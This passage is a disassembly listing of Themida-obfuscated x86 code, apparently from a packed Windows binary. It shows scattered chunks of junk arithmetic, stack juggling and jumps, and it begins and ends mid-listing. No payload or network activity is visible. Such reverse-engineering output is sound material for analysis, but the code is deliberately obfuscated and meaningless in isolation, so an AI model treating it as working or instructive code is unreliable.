		add	esp, 4
		jmp	loc_590F87
; ---------------------------------------------------------------------------


loc_592399:				; CODE XREF: Themida_:0058C6C6j
		xchg	dl, [esp]
		jmp	loc_592F2E
; ---------------------------------------------------------------------------


loc_5923A1:				; CODE XREF: Themida_:0058A858j
		xor	ebp, edi
		pop	edi
		mov	ebx, ebp
		pop	ebp
		jmp	loc_596ABD
; ---------------------------------------------------------------------------


loc_5923AC:				; CODE XREF: Themida_:0058A920j
		push	eax
		mov	eax, 2E0C359Eh
		sub	eax, 1
		jmp	loc_58C7A2
; ---------------------------------------------------------------------------


loc_5923BC:				; CODE XREF: Themida_:00590381j
		js	loc_59163F
		xor	eax, 38287A18h
		jmp	loc_58A8AE
; ---------------------------------------------------------------------------
		pop	ecx


loc_5923CD:				; CODE XREF: Themida_:00590881j
		add	esi, edx
		pop	edx
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5914E6
; ---------------------------------------------------------------------------


loc_5923DE:				; CODE XREF: Themida_:0059491Bj
		add	esp, 4
		push	74B5h
		mov	[esp], esi
		mov	esi, 2
		push	eax
		mov	eax, 6F481562h
		inc	eax
		neg	eax
		inc	eax
		or	eax, 51C249AFh
		jmp	loc_58D27E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_592405:				; CODE XREF: sub_58C878-1FE9j
		or	ah, 0B3h
		jp	loc_58CF1E
		add	ah, 6Ah
		jmp	loc_5922C9
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_592416:				; CODE XREF: Themida_:0058A5ABj
		sub	ecx, 0A79ED43Bh
		add	ebx, ecx
		jmp	loc_593F8F
; ---------------------------------------------------------------------------


loc_592423:				; CODE XREF: Themida_:005967C2j
		mov	[esp], esi
		mov	esi, 6D0B745Ah
		neg	esi
		jmp	loc_58F93E
; ---------------------------------------------------------------------------


loc_592432:				; CODE XREF: Themida_:00593E60j
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5933E5
; ---------------------------------------------------------------------------


loc_59243E:				; CODE XREF: Themida_:0058E736j
		mov	[esp], ebp
		push	4BC43048h
		pop	ebp
		jmp	loc_58F8B6
; ---------------------------------------------------------------------------


loc_59244C:				; CODE XREF: Themida_:0059529Fj
		pop	edi
		jmp	loc_59175B
; ---------------------------------------------------------------------------


loc_592452:				; CODE XREF: Themida_:00592211j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	dword ptr [esp], 3A4200FCh
		pop	dword ptr [edi+40h]
		push	eax
		mov	eax, 26813E61h
		or	eax, 7D365B46h
		push	esi
		mov	esi, 7FA65D77h
		push	2B84h
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		dec	esi
		xor	esi, 1638455Ah
		shl	esi, 1
		xor	esi, 55ED5639h
		jmp	loc_58D37C
; ---------------------------------------------------------------------------


loc_59249C:				; CODE XREF: Themida_:0059027Dj
		neg	ebx
		jo	loc_594204
		push	ecx
		mov	ecx, 6B0F1628h
		or	ecx, 38052F9Bh
		jmp	loc_58A59C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_5924B5:				; CODE XREF: sub_591C99+5417j
		add	ch, 34h
		mov	dh, ch
		pop	ecx
		xor	dh, cl
		jmp	loc_58CF68
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_5924C2:				; CODE XREF: Themida_:0058D391j
		push	esi
		mov	esi, 256731C0h
		add	ebp, esi
		pop	esi
		push	54E4h
		mov	[esp], ebp
		not	dword ptr [esp]
		jmp	loc_5976B3
; ---------------------------------------------------------------------------


loc_5924DB:				; CODE XREF: Themida_:00596A1Cj
		add	eax, 72693038h
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58BA6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5924EC:				; CODE XREF: sub_596082-B542j
		sub	esi, edi
		pop	edi
		pop	ebx
		mov	[edx+38h], esi
		push	[esp+8+var_8]
		jmp	loc_58CFC2
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5924FB:				; CODE XREF: Themida_:0058D80Dj
		xor	ebx, eax
		jmp	loc_58EFAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_592502:				; CODE XREF: Themida_:0058F408j
					; sub_596BF6+1Dj
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		xchg	eax, [esp-8+arg_4]
		pop	esp
		jmp	loc_596EF5
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_59250F:				; CODE XREF: sub_58F160+8j
		push	edi
		mov	edi, 5EB23978h
		dec	edi
		jmp	loc_592F1A
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_59251B:				; CODE XREF: Themida_:00596EE2j
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		xchg	esi, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 37D40C3Fh
		mov	esi, 37D40C43h
		sub	esi, ebx
		jmp	loc_58DC71
; ---------------------------------------------------------------------------


loc_592562:				; CODE XREF: Themida_:0058B3FFj
		mov	bl, ch
		pop	ecx
		add	ch, 38h
		sub	ch, bl
		sub	ch, 38h
		pop	bx
		add	al, 7Ch
		add	al, ch
		push	small 0DB1h
		mov	[esp], cx
		mov	cl, 7Ch
		jmp	loc_5922C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_592582:				; CODE XREF: sub_58E66C+705Cj
		mov	edx, edi
		jmp	loc_58F673
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592589:				; CODE XREF: sub_596082-2288j
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		and	eax, ebp
		jmp	loc_58D080
; ---------------------------------------------------------------------------


loc_592599:				; CODE XREF: Themida_:0058B912j
					; Themida_:00593703j ...
		sub	al, bh
		pop	ebx
		push	ebx
		mov	bl, 3Bh
		jmp	loc_58A5B0
; END OF FUNCTION CHUNK	FOR sub_596082

; =============== S U B	R O U T	I N E =======================================



sub_5925A4	proc near		; CODE XREF: sub_58E66C+2D95j

var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_4		= word ptr -4

; FUNCTION CHUNK AT 0058B300 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058B5C2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058B711 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E7AE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058F18D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005901BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005905E2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005908B8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005910F2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059141F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00591AFF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591DDF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00592CFD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005930F9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00593174 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593550 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005957F4 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00596827 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00596B31 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005976E3 SIZE 0000000A BYTES

		sub	esp, 2
		mov	[esp+4+var_4], bx
		push	ecx
		mov	cl, 41h
		jmp	loc_5976E3
sub_5925A4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_5925B6:				; CODE XREF: sub_593009:loc_58D74Aj
					; sub_593009-101Dj
		add	edx, ebx
		jmp	loc_58A80C
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_596C46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5925CC:				; CODE XREF: sub_593009-76C5j
					; sub_596082-9137j
		add	eax, edi
		push	ebx
		mov	ebx, 3B000164h
		jmp	loc_58A708
; ---------------------------------------------------------------------------


loc_5925D9:				; CODE XREF: sub_596082-76D9j
		pop	ebx
		jmp	loc_58D666
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_5925DF:				; CODE XREF: sub_593009-1EA6j
		push	esi
		mov	esi, 2
		mov	edi, esi
		pop	esi
		add	eax, edi
		mov	edi, [esp-28h+arg_24]
		add	esp, 4
		xchg	eax, [esp-2Ch+arg_28]
		jmp	loc_5901F4
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_5925F8:				; CODE XREF: Themida_:00597165j
		xor	ebp, 6C39BB53h
		push	ebp
		pop	esi
		pop	ebp
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	ebx
		mov	ebx, 19F575DFh
		push	edi
		mov	edi, 1ABC75D9h
		neg	edi
		xor	edi, 52744337h
		add	edi, 0A4609847h
		or	ebx, edi
		pop	edi
		xor	ebx, 231F0C86h
		push	ecx
		jmp	loc_593637
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_592636:				; CODE XREF: sub_58E66C+6139j
		inc	ebp
		shr	ebp, 7
		dec	ebp
		push	ecx
		mov	ecx, 654465D3h
		jmp	loc_58C078
; END OF FUNCTION CHUNK	FOR sub_58E66C

; =============== S U B	R O U T	I N E =======================================



sub_592646	proc near		; CODE XREF: sub_596082-3F54j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058BBB6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058FDA6 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00595579 SIZE 00000016 BYTES

		sub	esp, 2
		mov	word ptr [esp+4+var_4],	cx
		mov	ch, 0D7h
		push	ecx
		mov	cl, 0C8h
		or	cl, 6Ah
		not	cl
		not	cl
		sub	cl, 8Ch
		add	dh, cl
		jmp	loc_58FDA6
sub_592646	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_592663:				; CODE XREF: Themida_:0059586Ej
					; sub_5F45E7-5E0C9j
		push	eax
		mov	eax, 53EC5977h
		jmp	loc_58D812
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_59266E:				; CODE XREF: Themida_:00591799j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_59267D:				; CODE XREF: sub_593009-7293j
		jmp	loc_5910B8
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592682:				; CODE XREF: sub_596082-6665j
		pop	ebp
		jmp	loc_59500B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_592688:				; CODE XREF: Themida_:0058B767j
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 32C71D36h
		or	ebp, 73AA77B2h
		push	edx
		mov	edx, 7B6A0DF4h
		jmp	loc_595E14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D90C


loc_5926A8:				; CODE XREF: sub_58D90C-21C5j
		or	eax, 679C72C9h
		jmp	loc_591967
; END OF FUNCTION CHUNK	FOR sub_58D90C
; ---------------------------------------------------------------------------


loc_5926B2:				; CODE XREF: Themida_:0059123Cj
		pop	esp
		push	small 6DC0h
		jmp	loc_592C55
; ---------------------------------------------------------------------------


loc_5926BC:				; CODE XREF: Themida_:005972B0j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5926D1:				; CODE XREF: sub_58E66C+5523j
		inc	eax
		push	edx
		jmp	loc_58AE51
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_5926D8:				; CODE XREF: sub_591C99+32C2j
		pop	ecx
		add	esp, 4
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_5926EA:				; CODE XREF: sub_596FD2-B8j
		pop	ebp
		pop	[esp-8+arg_4]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_596FD2

; =============== S U B	R O U T	I N E =======================================



sub_5926EF	proc near		; CODE XREF: sub_596498-7070j
					; sub_596FD2-57D1j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058E63B SIZE 0000001E BYTES

		push	ebx
		push	ebp
		jmp	loc_58E63B
sub_5926EF	endp

; ---------------------------------------------------------------------------


loc_5926F6:				; CODE XREF: Themida_:0058D8E3j
		push	ebx
		push	edx
		mov	edx, 5B9E075Fh
		inc	edx
		jno	loc_5973C6
		inc	edx
		js	loc_58CEA4
		sub	edx, 220C999Bh


loc_592711:				; CODE XREF: Themida_:0059218Cj
		sub	eax, 3372C318h
		mov	ecx, eax
		pop	eax
		and	ecx, 5227171Eh
		jmp	loc_597290
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BC4


loc_592724:				; CODE XREF: sub_596BC4-720Aj
		push	eax
		push	ebp
		mov	ebp, 0EEE5373h
		add	ebp, 33F70F2Dh
		neg	ebp
		not	ebp
		dec	ebp
		jg	loc_58B949
		jmp	loc_58D0D8
; END OF FUNCTION CHUNK	FOR sub_596BC4
; ---------------------------------------------------------------------------
		neg	edi
		dec	edi
		neg	edi
		lodsd
		sub	eax, 78E27959h
		jmp	loc_58C19F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592751:				; CODE XREF: sub_596082-B674j
		add	ebx, ecx
		jmp	loc_58F0C5
; ---------------------------------------------------------------------------


loc_592758:				; CODE XREF: sub_596082-A8AEj
		inc	cl
		push	eax
		mov	ah, 71h
		jmp	loc_5933B2
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_592762:				; CODE XREF: sub_596498-7183j
		mov	edx, 301A206Ch
		mov	eax, 46A69A2Fh
		jmp	loc_59176C
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_592771:				; CODE XREF: Themida_:0058C1A7j
		push	ebp
		push	34C521CCh
		pop	ebp
		jmp	loc_597162
; ---------------------------------------------------------------------------


loc_59277D:				; CODE XREF: Themida_:0058B5BDj
		pop	ecx
		push	eax
		mov	eax, 4
		jmp	loc_5937D8
; ---------------------------------------------------------------------------


loc_592789:				; CODE XREF: Themida_:00594314j
		mov	ebx, 5A048Ch
		jmp	loc_594F7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_592793:				; CODE XREF: sub_593009-2E14j
		shr	word ptr [esp+0], cl
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_59279D:				; CODE XREF: Themida_:005932ECj
		shr	edx, 4
		js	loc_5912A7
		and	edx, 56312E50h
		jns	loc_596751
		sub	edx, 2302C4Eh
		mov	eax, eax
		mov	al, cl


loc_5927BC:				; CODE XREF: Themida_:0058B6C3j
		pop	di
		xor	cx, di
		xor	di, cx
		xor	cx, di
		xor	[esp], cx
		xor	cx, [esp]
		xor	[esp], cx
		jmp	loc_58BD04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5927D8:				; CODE XREF: sub_58E66C:loc_592BFCj
		add	edx, 5219AC1Ch
		add	edx, edi
		mov	ecx, [edx]
		jmp	sub_5909F8
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_5927E7:				; CODE XREF: Themida_:0058B73Dj
		push	edx
		jmp	loc_58F59B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5927ED:				; CODE XREF: sub_591C99-121j
					; sub_596082-A97j
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_5927F2:				; CODE XREF: sub_59236E+889j
		pop	esp
		mov	[esp-4+arg_0], edx
		push	esi
		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 1B5733D8h
		mov	esi, edx
		mov	edx, [esp+4+var_4]
		jmp	loc_596E85
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------
		push	ebx
		push	eax
		jmp	loc_5938CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592813:				; CODE XREF: sub_596082-90A9j
		xor	[esp+0Ch+var_C], eax
		jmp	loc_58CFDE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_59281B:				; CODE XREF: Themida_:0058BD43j
					; Themida_:loc_595E6Fj
		add	ecx, 62A53A98h
		jnb	loc_58ED07
		shr	ecx, 8
		jnp	loc_58B08D
		jmp	loc_5910E8
; ---------------------------------------------------------------------------


loc_592835:				; CODE XREF: Themida_:00595622j
		push	edi
		mov	edi, 37D518Dh
		jmp	loc_58BAEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_592840:				; CODE XREF: sub_591C99+37Fj
		sub	edi, ebx
		pop	ebx
		add	edi, edx
		push	eax
		mov	eax, 3BE52B61h
		jmp	loc_590CB9
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592850:				; CODE XREF: sub_596082-D70j
		push	eax
		mov	eax, 5416788Ah
		add	eax, 0FFFFFFFFh
		sub	eax, 75103A5Eh
		neg	eax
		sub	eax, 40183F5Dh
		dec	eax
		add	eax, 9CD5C26Eh
		jmp	loc_593DF8
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_592870:				; CODE XREF: Themida_:0058AB1Aj
		or	esi, 0CEB5E2Ah
		sub	esi, 6CFB7E36h
		jmp	loc_591DAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_592881:				; CODE XREF: sub_58F160-150Dj
		push	[esp+4+var_4]
		pop	ecx
		jmp	loc_58D7EE
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_59288A:				; CODE XREF: Themida_:0058C0EAj
		mov	edx, [esp]
		add	esp, 4
		sub	al, bl
		push	5016h
		mov	[esp], ebx
		mov	bl, 0BEh
		sub	al, bl
		pop	ebx
		push	477Ch
		mov	[esp], ebx
		mov	bl, 2Dh
		neg	bl
		jmp	loc_58DAD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5928B0:				; CODE XREF: sub_596082+16j
		pop	eax
		and	cl, 0B8h
		shr	cl, 8
		or	cl, 14h
		jmp	sub_58C878
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5928BF:				; CODE XREF: Themida_:0058EAA1j
		mov	ch, 7Fh
		add	ch, 0CBh
		sub	ch, al
		sub	ch, 0CBh
		pop	eax
		jmp	loc_591FF1
; ---------------------------------------------------------------------------


loc_5928CF:				; CODE XREF: Themida_:0058D79Bj
		or	edi, 33E15700h
		jg	loc_592AE5
		xor	edi, 1BC3727Fh
		jnz	loc_58B037
		add	edi, 13D5D27Dh
		add	ecx, edi
		mov	edi, [esp]
		mov	al, dh


loc_5928F4:				; CODE XREF: Themida_:0058F333j
		push	edx
		push	edi
		mov	edi, 69427AEh
		sub	edi, 73F396DCh
		mov	edx, edi
		pop	edi
		sub	edi, edx
		pop	edx
		and	esi, edi
		mov	edi, [esp]
		jmp	loc_58CE02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_592911:				; CODE XREF: sub_58E66C+4A3Bj
		add	ebp, edi
		pop	edi
		jmp	loc_58F037
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D112


loc_592919:				; CODE XREF: sub_58D112+1j
		mov	bl, 0E1h
		push	edx
		mov	dl, 3
		dec	dl
		dec	dl
		add	dl, 3Dh
		and	bl, dl
		jmp	loc_597132
; END OF FUNCTION CHUNK	FOR sub_58D112
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59292C:				; CODE XREF: sub_58E66C+2A25j
		pop	esp
		or	eax, eax
		jz	loc_58CE9A
		push	7985h
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_591F31
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_592957:				; CODE XREF: Themida_:0058EA76j
		or	eax, eax
		jz	loc_58FA50
		push	69A5h
		jmp	loc_592BB1
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ebx
		jmp	loc_593F72
; ---------------------------------------------------------------------------


loc_592980:				; CODE XREF: Themida_:0058F26Bj
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_596F2A
; ---------------------------------------------------------------------------


loc_59298A:				; CODE XREF: Themida_:0058F4ADj
		and	ecx, 51592E7Dh
		xchg	esi, ecx
		dec	esi
		xchg	esi, ecx
		jmp	loc_5921E5
; ---------------------------------------------------------------------------


loc_59299A:				; CODE XREF: Themida_:00591522j
		pop	esp
		pop	small word ptr [esp]
		push	ax
		mov	ax, 2
		add	word ptr [esp+2], 300Fh
		add	[esp+2], ax
		sub	word ptr [esp+2], 300Fh
		pop	ax
		jmp	loc_590087
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_5929BF:				; CODE XREF: sub_5F45E7-64ACCj
		add	bl, 55h
		sub	bl, al
		sub	bl, 55h
		mov	ax, [esp+0]
		add	esp, 2
		mov	eax, [esp+36h+var_38+2]
		add	esp, 4
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 66h
		dd 8A0FEAD1h, 1A5Bh, 0FFB3AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5929F9:				; CODE XREF: Themida_:00590890j
		add	al, 67h
		add	al, bl
		sub	al, 67h
		push	ecx
		push	ebx
		mov	bl, 0D3h
		inc	bl
		jg	loc_58C69C
		and	bl, 2Ah
		jno	loc_5911DB
		shl	bl, 6
		jp	loc_595114
		add	bl, 2Bh
		mov	esi, edx
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592A22:				; CODE XREF: sub_596082-668Aj
		pop	esp
		xchg	edi, [esp+10h+var_10]
		jmp	loc_592F1A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 35BDh
		mov	[esp], ax
		jmp	loc_58C4BE
; ---------------------------------------------------------------------------


loc_592A3C:				; CODE XREF: Themida_:00594C8Cj
		add	edx, 292F3937h
		jmp	loc_58FCC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592A47:				; CODE XREF: sub_596082+14E2j
		not	eax
		jmp	loc_58F654
; END OF FUNCTION CHUNK	FOR sub_596082

; =============== S U B	R O U T	I N E =======================================



sub_592A4E	proc near		; CODE XREF: sub_58EE27-1AB0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058C4FC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058D0D0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DAA1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058E440 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058EAF0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005900CA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00593AB0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595838 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005965F8 SIZE 00000016 BYTES

		push	ebx
		mov	bl, 52h
		jmp	loc_58C4FC
sub_592A4E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_592A56:				; CODE XREF: sub_594EC6+1C1Ej
		xor	edx, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_58E9B8
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592A66:				; CODE XREF: sub_596082+C0Bj
		or	eax, 61B309FBh
		add	eax, 8048E009h
		sub	edi, eax
		pop	eax
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 2
		jmp	loc_58D3F9
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_592A8D:				; CODE XREF: Themida_:0058CDAAj
		sub	edx, 45BE090Eh
		add	edx, eax
		jmp	loc_594F47
; ---------------------------------------------------------------------------


loc_592A9A:				; CODE XREF: Themida_:00590017j
		pop	edx
		jmp	loc_58D71D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A50F


loc_592AAB:				; CODE XREF: sub_58A50F+6196j
		add	edi, 0FFFFFFFFh
		xchg	edx, edi
		jmp	loc_58C2CC
; END OF FUNCTION CHUNK	FOR sub_58A50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_592AB5:				; CODE XREF: sub_596BF6+3Aj
		sub	ebp, 4
		jmp	loc_59527E
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592AC0:				; CODE XREF: sub_596082-7FBDj
		jge	loc_59020F
		xor	eax, 33F41B80h
		jmp	loc_58AA97
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		or	cl, 26h
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592AD3:				; CODE XREF: sub_596082-8928j
		push	64E8h
		mov	[esp+0], ecx
		push	31F2h
		jmp	loc_58DE41
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_592AE5:				; CODE XREF: sub_58F160-15B0j
					; Themida_:005928D5j
		xor	edi, 1BC3727Fh
		jnz	loc_590AF1
		add	edi, 13D5D27Dh
		add	ecx, edi
		mov	edi, [esp+0]
		mov	bl, cl
; END OF FUNCTION CHUNK	FOR sub_58F160
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_592AFE:				; CODE XREF: sub_59236E+4B25j
		pop	esi
		and	eax, edx
		pop	edx
		jmp	loc_58FA86
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594299


loc_592B07:				; CODE XREF: sub_594299-4372j
		push	4
		mov	edx, [esp+0]
		add	esp, 4
		add	[esp-4+arg_4], edx
		pop	edx
		pop	eax
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xor	eax, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], eax
		xor	eax, [esp-0Ch+arg_8]
		pop	esp
		idiv	ecx
		push	0EEh
		jmp	loc_596CAD
; END OF FUNCTION CHUNK	FOR sub_594299
; ---------------------------------------------------------------------------


loc_592B3F:				; CODE XREF: Themida_:00593513j
					; Themida_:0059523Cj
		mov	ebp, 57B471E1h
		not	ebp
		sub	ebp, 49332026h
		add	ebx, ebp
		pop	ebp
		add	ebx, edi
		jmp	loc_595634
; ---------------------------------------------------------------------------


loc_592B56:				; CODE XREF: Themida_:0058F412j
					; Themida_:005932F5j
